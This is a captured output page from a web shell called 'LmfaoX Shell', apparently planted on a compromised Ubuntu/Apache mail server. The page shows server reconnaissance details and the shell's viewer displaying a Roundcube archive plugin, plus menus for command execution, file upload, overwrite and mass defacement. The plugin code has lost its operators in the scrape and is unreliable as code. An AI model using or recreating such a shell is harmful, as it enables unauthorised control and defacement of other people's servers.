ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:27.26 GB of 70.42 GB (38.71%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail.1/ plugins/ archive/ - drwxr-xr-x

Directory:
Viewing file:     archive.php (3.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Archive
 *
 * Plugin that adds a new button to the mailbox toolbar
 * to move messages to a (user selectable) archive folder.
 *
 * @version @package_version@
 * @author Andre Rodier, Thomas Bruederli
 */
class archive extends rcube_plugin
{
  public 
$task 'mail|settings';

  function 
init()
  {
    
$rcmail rcmail::get_instance();

    
// There is no "Archived flags"
    // $GLOBALS['IMAP_FLAGS']['ARCHIVED'] = 'Archive';
    
if ($rcmail->task == 'mail' && ($rcmail->action == '' || $rcmail->action == 'show')
      && (
$archive_folder $rcmail->config->get('archive_mbox'))) {
      
$skin_path $this->local_skin_path();
      
      
$this->include_script('archive.js');
      
$this->add_texts('localization'true);
      
$this->add_button(
        array(
            
'command' => 'plugin.archive',
            
'imagepas' => $skin_path.'/archive_pas.png',
            
'imageact' => $skin_path.'/archive_act.png',
            
'width' => 32,
            
'height' => 32,
            
'title' => 'buttontitle',
            
'domain' => $this->ID,
        ),
        
'toolbar');
      
      
// register hook to localize the archive folder
      
$this->add_hook('render_mailboxlist', array($this'render_mailboxlist'));

      
// set env variable for client
      
$rcmail->output->set_env('archive_folder'$archive_folder);
      
$rcmail->output->set_env('archive_folder_icon'$this->url($skin_path.'/foldericon.png'));

      
// add archive folder to the list of default mailboxes
      
if (($default_folders $rcmail->config->get('default_imap_folders')) && !in_array($archive_folder$default_folders)) {
        
$default_folders[] = $archive_folder;
        
$rcmail->config->set('default_imap_folders'$default_folders);
      }  
    }
    else if (
$rcmail->task == 'settings') {
      
$dont_override $rcmail->config->get('dont_override', array());
      if (!
in_array('archive_mbox'$dont_override)) {
        
$this->add_hook('preferences_list', array($this'prefs_table'));
        
$this->add_hook('preferences_save', array($this'save_prefs'));
      }
    }
  }
  
  function 
render_mailboxlist($p)
  {
    
$rcmail rcmail::get_instance();
    
$archive_folder $rcmail->config->get('archive_mbox');

    
// set localized name for the configured archive folder
    
if ($archive_folder) {
      if (isset(
$p['list'][$archive_folder]))
        
$p['list'][$archive_folder]['name'] = $this->gettext('archivefolder');
      else 
// search in subfolders
        
$this->_mod_folder_name($p['list'], $archive_folder$this->gettext('archivefolder'));
    }

    return 
$p;
  }

  function 
_mod_folder_name(&$list$folder$new_name)
  {
    foreach (
$list as $idx => $item) {
      if (
$item['id'] == $folder) {
        
$list[$idx]['name'] = $new_name;
        return 
true;
      } else if (!empty(
$item['folders']))
        if (
$this->_mod_folder_name($list[$idx]['folders'], $folder$new_name))
        return 
true;
    }
    return 
false;
  }

  function 
prefs_table($args)
  {
    global 
$CURR_SECTION;

    if (
$args['section'] == 'folders') {
      
$this->add_texts('localization');

      
$rcmail rcmail::get_instance();

      
// load folders list when needed
      
if ($CURR_SECTION)
        
$select rcmail_mailbox_select(array('noselection' => '---''realnames' => true,
          
'maxlength' => 30'exceptions' => array('INBOX'), 'folder_filter' => 'mail''folder_rights' => 'w'));
      else
        
$select = new html_select();

      
$args['blocks']['main']['options']['archive_mbox'] = array(
          
'title' => $this->gettext('archivefolder'),
          
'content' => $select->show($rcmail->config->get('archive_mbox'), array('name' => "_archive_mbox"))
      );
    }

    return 
$args;
  }

  function 
save_prefs($args)
  {
    if (
$args['section'] == 'folders') {
      
$args['prefs']['archive_mbox'] = get_input_value('_archive_mbox'RCUBE_INPUT_POST);
      return 
$args;
    }
  }

}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3012 seconds